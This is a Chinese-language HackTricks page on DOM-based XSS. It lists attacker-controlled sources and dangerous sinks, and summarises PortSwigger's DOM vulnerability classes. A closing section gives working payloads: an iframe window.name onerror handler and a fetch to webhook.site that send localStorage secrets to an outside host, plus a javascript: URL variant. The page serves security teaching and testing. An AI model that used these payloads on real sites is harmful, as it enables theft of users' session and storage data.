DOM XSS

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

DOM 漏洞

DOM 漏洞发生在来自攻击者可控的来源(例如 location.searchdocument.referrerdocument.cookie)的数据被不安全地传递到汇点时。汇点是可能执行或渲染有害内容的函数或对象(例如 eval()document.body.innerHTML),如果传入恶意数据就会产生危险。

  • 来源 是可以被攻击者操控的输入,包括 URL、cookie 和 web 消息。
  • 汇点 是潜在危险的端点,恶意数据到达这些端点可能导致不良后果,例如脚本执行。

当数据从来源流向汇点而没有经过适当的验证或清理时,就会产生风险,从而使 XSS 等攻击成为可能。

Tip

你可以在此处找到更完整更新的来源和汇点列表: https://github.com/wisec/domxsswiki/wiki

常见来源:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

这种 XSS 可能是 最难发现的,因为你需要查看 JS 代码,判断它是否在 使用 任何你可以 控制其值 的对象;如果是,则需要确定是否存在 任何可滥用 的方法来执行任意 JS。

查找它们的工具

示例

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

DOM 中的 Open redirect 漏洞发生在脚本将攻击者可控的数据写入能够启动跨域导航的 sink 时。

必须理解,如果你能控制重定向发生时 URL 的起始部分,就有可能执行任意代码,例如 javascript:alert(1)

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

基于 DOM 的 cookie 操纵漏洞发生在脚本将攻击者可控的数据写入 cookie 值时。如果站点内部使用该 cookie,漏洞可能导致网页出现意外行为。此外,如果 cookie 用于跟踪用户会话,攻击者还可以利用该漏洞实施 session fixation attack。与此漏洞相关的主要 sink 为:

Sinks:

document.cookie

JavaScript Injection

来源: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection 漏洞是在脚本将可被攻击者控制的数据作为 JavaScript 代码执行时产生的。

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

From: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities 发生在脚本使用攻击者可控制的数据设置 document.domain 属性时。

document.domain 属性在浏览器对 same-origin policyenforcement 中起着 key role。当两个来自不同源的页面将它们的 document.domain 设置为 same value 时,它们可以不受限制地互相交互。尽管浏览器对可赋给 document.domain 的值施加了某些 limits,以防止将与实际页面源完全不相关的值赋给它,但仍存在例外。通常,浏览器允许使用 childparent domains

Sinks:

document.domain

WebSocket-URL poisoning

来源: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning 发生在脚本将 可控数据用作 WebSocket 连接的目标 URL 时。

Sinks:

The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.

来源: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities 出现在脚本将 攻击者可控的数据写入当前页面的导航目标 时,例如可点击的链接或表单的提交 URL。

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

来源: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities 出现在脚本将 attacker-controllable data into an Ajax request 写入通过 XmlHttpRequest 对象发出的 Ajax 请求时。

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities 出现在脚本将 attacker-controllable data to a file-handling API 作为 filename 参数传递时。该漏洞可以被 attacker 利用,通过构造一个 URL,如果被其他用户访问,可能导致 用户的浏览器打开或写入任意本地文件

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities 发生在脚本将 attacker-controllable data into a client-side SQL query in an unsafe way

Sinks:

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities 出现在脚本将可被攻击者控制的数据存储在浏览器的 HTML5 存储(localStoragesessionStorage)时。虽然这种行为本身并不一定构成安全漏洞,但如果应用随后读取存储的数据并不安全地处理它,就会变得有问题。这可能允许攻击者利用该存储机制发起其他 DOM-based 攻击,例如 cross-site scripting 和 JavaScript injection。

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

来源: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities 会在脚本将 attacker-controllable data into an XPath query 时发生。

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

From: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities 发生在脚本将 可被攻击者控制的数据嵌入到一个被解析为 JSON 数据结构的字符串中并随后由应用处理 时。

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message 漏洞 出现在脚本将 攻击者可控制的数据作为 web message 发送到浏览器内的另一个文档 时。有关易受攻击的 Web-message manipulation 的 示例 可在 PortSwigger’s Web Security Academy 找到。

Sinks:

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation 漏洞 出现在脚本将 攻击者可控制的数据写入 DOM 中的字段,且该字段被用于可见 UI 或客户端逻辑时。攻击者可以利用该漏洞构造一个 URL,如果其他用户访问该 URL,就可能改变客户端 UI 的外观或行为。

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities 发生在脚本将 attacker-controllable data unsafely to a problematic platform API 传递时。 这包括那些在被调用时可能导致用户计算机消耗 excessive amounts of CPU or disk space 的 API。 此类漏洞可能产生严重的副作用,例如浏览器通过拒绝将数据存储到 localStorage 的尝试或终止繁忙脚本来限制网站的功能。

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

隐式全局 & window.name 滥用

在未使用声明(var/let/const)的情况下引用 name 会解析为 window.name。由于 window.name 会在跨源导航中保持不变,攻击者可以预先在浏览器上下文名称中注入 HTML/JS,然后让目标代码将其作为受信任的数据渲染:

  • 在你控制的具名上下文中打开/导航到目标:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • 或者重用 window.open,使用精心构造的目标名称:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

如果应用随后在没有消毒的情况下执行 element.innerHTML = name(或类似 sink),攻击者控制的 window.name 字符串将在目标 origin 中执行,从而导致 DOM XSS 并访问同源存储。

管理员/自动化流程:预置存储 & javascript: 导航

自动化机器人(例如 Playwright)通常会先访问一个内部页面,在 localStorage/cookies 中设置秘密,然后导航到用户提供的 URLs。在该流程中,任何 DOM XSS 原语(包括对 window.name 的滥用)都可以将预置的秘密外泄:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

如果该 bot 不限制 schemes,提供一个 javascript: URL(javascript:fetch(...))会在当前 origin 中执行而不会进行新的导航,从而直接 leak 存储的值。

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks